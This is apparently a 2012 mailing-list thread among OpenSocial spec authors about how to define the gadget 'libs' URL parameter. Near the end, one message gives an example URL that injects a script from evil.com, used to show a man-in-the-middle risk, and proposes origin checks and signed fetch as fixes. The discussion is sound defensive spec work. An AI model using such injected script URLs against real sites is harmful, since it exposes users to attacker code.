Revise Core Gadget Section 7 for 2.5?

20 views
Skip to first unread message

ddumont

unread,
Apr 11, 2012, 2:29:30 PM4/11/12
to opensocial-an...@googlegroups.com
http://opensocial-resources.googlecode.com/svn/spec/2.0.1/Core-Gadget.xml#ContentRedirect 

I'd like to alter the language in this section to change this sentence in the following way (removed added)

libs
An absolute relative URL that points to any JavaScript files necessary to satisfy the features specified in /ModulePrefs/Require and /ModulePrefs/Optional (Section 4.1.1.1) elements in the Gadget.

Seeing as how Shindig doesn't implement this correctly at all right now (working on fixing that), and the fact that there's no mention of what exactly the old url was relative TO,  I can't see how this will really impact anyone.
Can we fix this for 2.5?

James M Snell

unread,
Apr 11, 2012, 2:36:28 PM4/11/12
to opensocial-an...@googlegroups.com
i had a question on this: what exactly is the libs parameter for and
do we have any examples of it's use? I need something more concrete
for the rewrite

On Wed, Apr 11, 2012 at 11:29 AM, ddumont <ddu...@us.ibm.com> wrote:
> http://opensocial-resources.googlecode.com/svn/spec/2.0.1/Core-Gadget.xml#ContentRedirect
>
> I'd like to alter the language in this section to change this sentence in
> the following way (removed added)
>

> libsAn absolute relative URL that points to any JavaScript files necessary


> to satisfy the features specified in /ModulePrefs/Require and
> /ModulePrefs/Optional (Section 4.1.1.1) elements in the Gadget.
> Seeing as how Shindig doesn't implement this correctly at all right now
> (working on fixing that), and the fact that there's no mention of what
> exactly the old url was relative TO,  I can't see how this will really

> impact anyone.Can we fix this for 2.5?
>
> --
> You received this message because you are subscribed to the Google Groups
> "OpenSocial and Gadgets Specification Discussion" group.
> To view this discussion on the web visit
> https://groups.google.com/d/msg/opensocial-and-gadgets-spec/-/eoikp0sF-iYJ.
> To post to this group, send email to
> opensocial-an...@googlegroups.com.
> To unsubscribe from this group, send email to
> opensocial-and-gadg...@googlegroups.com.
> For more options, visit this group at
> http://groups.google.com/group/opensocial-and-gadgets-spec?hl=en.

Dan Dumont

unread,
Apr 11, 2012, 2:41:54 PM4/11/12
to opensocial-an...@googlegroups.com
It should be a url that points to the container server's implementation of the features that the gadget has requested.

For shindig this would be something like //server.com/js/core:rpc:blah.js

We also send a parent with the location of the container server, but that param isn't in the spec.  I think we can slightly alter the wording here and just send the whole url to the js file without having to add another param formally in the spec.

Matt F.

unread,
Apr 11, 2012, 8:40:03 PM4/11/12
to opensocial-an...@googlegroups.com
I think there are more changes required than just specifying absolute vs relative.   What exactly does "A relative URL that points to any JavaScript files" mean anyway?  It needs to be either clarified that the container is serving all javascript to support the requested features from a single URL (as shindig does) or clarified that the libs parameter represents a list of some format.  
.

> To unsubscribe from this group, send email to

> For more options, visit this group at
>


--
You received this message because you are subscribed to the Google Groups "OpenSocial and Gadgets Specification Discussion" group.
To post to this group, send email to opensocial-and-gadgets-spec@googlegroups.com.
To unsubscribe from this group, send email to opensocial-and-gadgets-spec+unsub...@googlegroups.com.

For more options, visit this group at

James M Snell

unread,
Apr 11, 2012, 8:42:22 PM4/11/12
to opensocial-an...@googlegroups.com
I've started to work up a clarification on that particular point in
the 3.0 draft... it would be good to get something into 2.5 also tho.

>> > opensocial-an...@googlegroups.com.


>> > To unsubscribe from this group, send email to

>> > opensocial-and-gadg...@googlegroups.com.


>> > For more options, visit this group at
>> > http://groups.google.com/group/opensocial-and-gadgets-spec?hl=en.
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "OpenSocial and Gadgets Specification Discussion" group.
>> To post to this group, send email to

>> opensocial-an...@googlegroups.com.


>> To unsubscribe from this group, send email to

>> opensocial-and-gadg...@googlegroups.com.


>> For more options, visit this group at
>> http://groups.google.com/group/opensocial-and-gadgets-spec?hl=en.
>>
>>
> --
> You received this message because you are subscribed to the Google Groups
> "OpenSocial and Gadgets Specification Discussion" group.

> To view this discussion on the web visit

> https://groups.google.com/d/msg/opensocial-and-gadgets-spec/-/vypxhUZs33wJ.


>
> To post to this group, send email to

> opensocial-an...@googlegroups.com.


> To unsubscribe from this group, send email to

> opensocial-and-gadg...@googlegroups.com.

Matt F.

unread,
Apr 11, 2012, 8:52:38 PM4/11/12
to opensocial-an...@googlegroups.com
What about 

"An absolute URL from which the container MUST serve a single file containing all JavaScript code required to satisfy the features specified in /ModulePrefs/Require and /ModulePrefs/Optional (Section 4.1.1.1) elements in the Gadget. "

Though after re-reading section 3.4, it appears the intent was a list of URLs.....

>> > opensocial-and-gadgets-spec@googlegroups.com.


>> > To unsubscribe from this group, send email to

>> > opensocial-and-gadgets-spec+unsub...@googlegroups.com.


>> > For more options, visit this group at
>> > http://groups.google.com/group/opensocial-and-gadgets-spec?hl=en.
>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "OpenSocial and Gadgets Specification Discussion" group.
>> To post to this group, send email to

>> opensocial-and-gadgets-spec@googlegroups.com.


>> To unsubscribe from this group, send email to

>> opensocial-and-gadgets-spec+unsub...@googlegroups.com.


>> For more options, visit this group at
>> http://groups.google.com/group/opensocial-and-gadgets-spec?hl=en.
>>
>>
> --
> You received this message because you are subscribed to the Google Groups
> "OpenSocial and Gadgets Specification Discussion" group.
> To view this discussion on the web visit
> https://groups.google.com/d/msg/opensocial-and-gadgets-spec/-/vypxhUZs33wJ.
>
> To post to this group, send email to

> opensocial-and-gadgets-spec@googlegroups.com.


> To unsubscribe from this group, send email to

> opensocial-and-gadgets-spec+unsub...@googlegroups.com.

Ryan Baxter

unread,
Apr 12, 2012, 8:24:25 AM4/12/12
to opensocial-an...@googlegroups.com
When I read 3.4,
 "..retrieving core and feature-linked JavaScript.."
makes it sound like the JS should be retrieved in one request.

Dan Dumont

unread,
Apr 12, 2012, 8:52:39 AM4/12/12
to opensocial-an...@googlegroups.com
Be it a list or not, there still wouldn't be anything stopping shindig from using only 1 url.  So that's how I'm going to implement it in shindig.

+1 for me in the 1 url camp.  But like I said, this implementation won't preclude there being multiple, in the case that the multi-url camp wins in the end. :)

.

>> > opensocial-an...@googlegroups.com.


>> > To unsubscribe from this group, send email to

>> > opensocial-and-gadg...@googlegroups.com.


>> > For more options, visit this group at
>> >

http://groups.google.com/group/opensocial-and-gadgets-spec?hl=en.


>>
>> --
>> You received this message because you are subscribed to the Google Groups
>> "OpenSocial and Gadgets Specification Discussion" group.
>> To post to this group, send email to

>> opensocial-an...@googlegroups.com.


>> To unsubscribe from this group, send email to

>> opensocial-and-gadg...@googlegroups.com.


>> For more options, visit this group at
>>

http://groups.google.com/group/opensocial-and-gadgets-spec?hl=en.


>>
>>
> --
> You received this message because you are subscribed to the Google Groups
> "OpenSocial and Gadgets Specification Discussion" group.
> To view this discussion on the web visit
>

https://groups.google.com/d/msg/opensocial-and-gadgets-spec/-/vypxhUZs33wJ.


>
> To post to this group, send email to

> opensocial-an...@googlegroups.com.


> To unsubscribe from this group, send email to

> opensocial-and-gadg...@googlegroups.com.


> For more options, visit this group at
>

http://groups.google.com/group/opensocial-and-gadgets-spec?hl=en.

--
You received this message because you are subscribed to the Google Groups "OpenSocial and Gadgets Specification Discussion" group.

To view this discussion on the web visit https://groups.google.com/d/msg/opensocial-and-gadgets-spec/-/7tkJM1Y5IEsJ.
To post to this group, send email to opensocial-an...@googlegroups.com.
To unsubscribe from this group, send email to opensocial-and-gadg...@googlegroups.com.


For more options, visit this group at

http://groups.google.com/group/opensocial-and-gadgets-spec?hl=en.

James M Snell

unread,
Apr 12, 2012, 7:48:52 PM4/12/12
to opensocial-an...@googlegroups.com

One URL makes the most sense as anything beyond that simply becomes to unwieldly to pass around in a query string. The other alternative, if multiple uris are required, is to use Link headers in the request to identify the lib urls... E.g.

GET /foo HTTP/1.1
Link: <http://...>;rel="lib"

With one lib link per uri to include. It provides a relatively simple alternative.

Franklin, Matthew B.

unread,
Apr 12, 2012, 9:00:50 PM4/12/12
to OpenSocial and Gadgets Discussion
IMHO, going with the single URL for 2.5 represents the simplest change.  The link header is definitely compelling for 3.0 though…

From: James Snell <jas...@gmail.com>
Reply-To: OpenSocial and Gadgets Discussion <opensocial-an...@googlegroups.com>
Date: Thu, 12 Apr 2012 16:48:52 -0700
To: OpenSocial and Gadgets Discussion <opensocial-an...@googlegroups.com>
Subject: Re: [osgs] Revise Core Gadget Section 7 for 2.5?

One URL makes the most sense as anything beyond that simply becomes to unwieldly to pass around in a query string. The other alternative, if multiple uris are required, is to use Link headers in the request to identify the lib urls... E.g.

GET /foo HTTP/1.1
Link: <http://...>;rel="lib"

With one lib link per uri to include. It provides a relatively simple alternative.

On Apr 12, 2012 5:52 AM, "Dan Dumont" <ddu...@us.ibm.com> wrote:
Be it a list or not, there still wouldn't be anything stopping shindig from using only 1 url.  So that's how I'm going to implement it in shindig.

+1 for me in the 1 url camp.  But like I said, this implementation won't preclude there being multiple, in the case that the multi-url camp wins in the end. :)




From:        Ryan Baxter <rbax...@gmail.com>
To:        opensocial-an...@googlegroups.com,
Date:        04/12/2012 08:24 AM
Subject:        Re: [osgs] Revise Core Gadget Section 7 for 2.5?
Sent by:        opensocial-an...@googlegroups.com




When I read 3.4,
 "..retrieving core and feature-linked JavaScript.."
makes it sound like the JS should be retrieved in one request.

On Wednesday, April 11, 2012 8:52:38 PM UTC-4, Matt F. wrote:

What about

"An absolute URL from which the container MUST serve a single file containing all JavaScript code required to satisfythe features specified in /ModulePrefs/Require and /ModulePrefs/Optional (Section 4.1.1.1) elements in the Gadget. "


Though after re-reading section 3.4, it appears the intent was a list of URLs.....


On Wednesday, April 11, 2012 8:42:22 PM UTC-4, James M Snell wrote:

I've started to work up a clarification on that particularpoint in

James M Snell

unread,
Apr 13, 2012, 1:26:18 PM4/13/12
to opensocial-an...@googlegroups.com
Agreed. The Link header approach would need to be proven out as there
are a number of concerns that would need to be addressed.

For one, using the query string approach, the caching model is a bit
cleaner... using the Link header approach, we'd have to rely on the
use of Vary in the response to address caching of the responses...
e.g.

GET /foo HTTP/1.1
Link: <http://example.org/test.js>; rel="lib-script",
<http://example.org/test2.js>; rel="lib-script",

HTTP/1.1 200 OK
Content-Type: text/html
Vary: Link

<html>
<head>
<script src="http://example.org/test.js" />
<script src="http://example.org/test2.js" />
</head>
<body>
...
</body>
</html>

This is workable, but we would just need to be aware and there are
some user agents that do not handle Vary properly.

- James

James M Snell

unread,
Apr 13, 2012, 2:26:56 PM4/13/12
to opensocial-an...@googlegroups.com
Ok, so was just going through a number of use cases for this and
spotted one fairly significant challenge with the libs approach. Dan
and I discussed it a bit offline and came up with a recommendation for
dealing with it that requires adding a bit of language in the spec...

Here's the issue: Suppose I have a gadget that uses remote content.. e.g.

<Module>
<ModulePrefs>
<Require feature="foo" />
</ModulePrefs>
<Content type="url" href="http://example.org" />
</Module>

This will trigger the container to send a request to the remote server
that includes a libs parameter to specify the javascript the remote
server should include in the response to load the features... e.g.

http://example.org?libs=http://container.org/feature:foo:core.js

The expectation is that example.org is expected to include the script
identified by the libs parameter in the returned HTML. e.g.

<html><head><script src="http://container.org/feature:foo:core.js"
/>...</html>

The problem with this approach is that it is wide open for a
man-in-the-middle script injection attack. That is, someone can
intercept the request and append a new script to the request...

http://example.org?libs=http://container.org/feature:foo:core.js&libs=http://evil.com/evil.js

If example.org blindly includes whatever scripts it is given without
verifying that it can trust the origin of the script, then we have a
major issue.

To address this concern, I recommend adding the following to the
core-gadget spec:

1. Strong language recommending that the remote site verify that it
can trust the origin of any scripts it is asked to include
2. Adding language that says that container SHOULD use signed fetch
with ALL proxied and redirected content by default (e.g. for all
<Content type="url" href="..."/> and <Content type="html" href="..."
/> cases. This would require dev's to explicitly switch off signed
request with authz="none" if that's what they really want.

Thoughts?

Franklin, Matthew B.

unread,
Apr 13, 2012, 2:53:09 PM4/13/12
to opensocial-an...@googlegroups.com
Sounds like a reasonable mitigation.

-Matt

>-----Original Message-----
>From: opensocial-an...@googlegroups.com [mailto:opensocial-
>and-gadg...@googlegroups.com] On Behalf Of James M Snell
>Sent: Friday, April 13, 2012 2:27 PM
>To: opensocial-an...@googlegroups.com
>Subject: Re: [osgs] Revise Core Gadget Section 7 for 2.5?
>

>>> link header is definitely compelling for 3.0 though.

>/vypxhUZs33wJ.


>>>> >
>>>> > To post to this group, send email to
>>>> > opensocial-an...@googlegroups.com.
>>>> > To unsubscribe from this group, send email to
>>>> > opensocial-and-gadg...@googlegroups.com.
>>>> > For more options, visit this group at
>>>> > http://groups.google.com/group/opensocial-and-gadgets-spec?hl=en.
>>>>
>>>> --
>>>> You received this message because you are subscribed to the Google
>Groups
>>>> "OpenSocial and Gadgets Specification Discussion" group.
>>>> To view this discussion on the web visit
>>>> https://groups.google.com/d/msg/opensocial-and-gadgets-spec/-

>To post to this group, send email to opensocial-and-gadgets-
>sp...@googlegroups.com.
>To unsubscribe from this group, send email to opensocial-and-gadgets-
>spec+uns...@googlegroups.com.

Ryan Baxter

unread,
Apr 14, 2012, 7:54:59 AM4/14/12
to opensocial-an...@googlegroups.com
+1

Mark W.

unread,
May 29, 2012, 7:06:52 PM5/29/12
to opensocial-an...@googlegroups.com
So the way I understand the "libs" use case is that this is a mechanism in which social attributes can be added to any web page. 

I think the relative URL approach was initially put in there b/c this was relative to where the shindig instance was that is processing the request. I think this makes sense, but the "relative" is really relative to the gadget rendering, not the app's xml definition. So, because the page is served up by the shindig instance, and everything is relative to that, i.e. contained within it, there's no need for signed fetch because everything is in the container.

One other thought... It's not clear in the spec if features and libs are intended to use the same mechanism. The "one url" approach is how features get loaded and passed through the rewriter. Libs says, load this library. (Not saying this is wrong, just that it's another area that's not clear.)

I think getting libs right is VERY important. It allows us to adopt a more facebook programming model, where container specific social context can be added to any page. For 2.5, I'd like to get as much clarity around this as possible. For 3.0, I'd like to start the discussion on:

1) Feature aggregation -- use signed fetch on the server to aggregate a feature definition from a trusted source
2) Exposing the .js rewriter so that we can embed a social container on any page and have the proper "hooks" to go back to that specific instance.
Reply all
Reply to author
Forward
0 new messages